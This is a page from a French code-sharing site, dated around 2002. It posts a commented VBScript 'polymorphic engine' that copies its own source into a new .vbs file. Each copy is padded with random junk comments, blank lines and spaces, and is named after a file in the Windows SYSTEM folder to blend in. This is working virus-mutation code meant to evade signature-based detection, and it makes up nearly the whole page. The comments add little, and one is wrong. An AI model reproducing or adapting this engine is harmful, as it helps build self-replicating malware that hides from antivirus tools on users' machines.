Moteur polymorphe de dan commenté
Soyez le premier à donner votre avis sur cette source.
Snippet vu 4 458 fois - Téléchargée 40 fois
Contenu du snippet
c'est le moteur polymorphe de Dan, je l'ai juste commenté
Source / Exemple :
on error resume next 'pour d'éventuelles erreurs
Dim F,R,G,O,T 'déclare les variables (F,R,G,O,T)
Randomize 'initialise le générateur de nombres aléatoires
Set F=CreateObject("Scripting.FileSystemObject") 'détermine F
O="Moteur polymorphe.vbs" 'détermine O
G=H+".vbs" 'détermine G
F.CreateTextFile G 'crée le fichier G
Set ts=F.OpenTextFile(G,2) 'détermine ts (ts = ouverture du fichier G)
Set R=F.OpenTextFile(O,1) 'détermine R (R = ouverture du fichier O)
Do 'début de l instruction Do...Loop
x=Int(Rnd*4+1) 'détermine x (x = 4+1)
If x=1 Then z=E 'si x = 1 alors z = E
If x=2 Then z=U 'si x = 2 alors z = U
If x=3 Then z=L 'si x = 3 alors z = L
If x=4 Then z=K(10,20) 'si x = 4 alors z = K
If x=5 Then z=vbCrLf 'si x = 5 alors z = saut de ligne
ts.WriteLine z 'écrit la valeur de z dans ts
If R.AtEndOfStream=-1 Then Exit Do
Loop
ts.Close 'fermeture du fichier ts
R.Close 'fermeture du fichier R
Function U 'début de la fonction U
If R.AtEndOfStream=0 Then T=R.ReadLine
If Left(T,1)="'" Then U
If T="" Then U
If W=0 Then U
If Left(T,2)="O=" Then T="O="+""""+G+""""
U=T 'détermine U (U = T)
End Function 'fin de la fonction U
Function W 'début de la fonction W
For i=1 To Len(T)
If Mid(T,i,1)<>Chr(32) Then W=2:Exit For
W=0 'détermine W (W = 0)
Next
End Function 'fin de la fonction W
Function J(n,m) 'début de la fonction J
For i=0 To (Int(Rnd*(m-n)+n))
J=Chr(14+Int(Rnd*241))+J 'détermine J
Next
End Function 'fin de la fonction J
Function K(n,m) 'début de la fonction K
K=Space(Int(Rnd*(m-n)+n)) 'détermine K
End Function 'fin de la fonction K
Function L 'début de la fonction L
L=J(Int(Rnd*10),Int(Rnd*10)+10) 'détermine L
n=Int(Rnd*3)+1 'détermine n
If n=1 Then y=vbCrLf 'si n = 1 alors y = saut de ligne
If n=2 Then y=K(Int(Rnd*3),Int(Rnd*5)+3) 'si n = 2 alors y = K
If n=3 Then y="" 'si n = 3 alors y = rien
L="'"+L+y 'détermine L
End Function 'fin de la fonction L
Function E 'début de la fonction E
d=Int(Rnd*4)+1
For a=0 To d
E=E+vbCrLf 'détermine E
Next
End Function 'fin de la fonction E
Function H 'début de la fonction H
Set c=F.GetSpecialFolder(0) 'détermine c
c=c+"\SYSTEM"
Set D=F.GetFolder(C)
Set z=D.Files
x=0
For Each q in z
x=x+1
Next
If x<>0 then
x=int(Rnd*x+1)
s=0
For Each q in z
s=s+1
H=F.GetBaseName(q.name)
If s=x Then Exit For
Next
End If
If O=H+".vbs" then x=0
If x=0 then
H=""
b=Int(rnd*8)+3
For n=1 To b
H=Chr(Int(rnd*25)+65)+H
Next
End If
End Function 'fin de la fonction H
A voir également
- Moteur polymorphe de dan commenté
- Avis moteur annad ✓ - Forum PHP
- Code source moteur de recherche php mysql ✓ - Forum PHP
- Commande de moteur pas à pas ✓ - Forum Visual Basic
- Moteur de recherche php ✓ - Forum PHP
- Recherche avec plusieurs champs de formulaire sur base mysql ✓ - Forum PHP
10 déc. 2002 à 14:34
Et en plus je crois que t'as oublié un truc assez important comme même ... c'est de dire en quoi ce moteur est polymorphe ... c'est quoi qu'il fait ... et ce qu'il crée ou comment il fonctionne ... au lieu de mettre des commentaire crétins style :
Dim F,R,G,O,T ' Initialize les variables
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.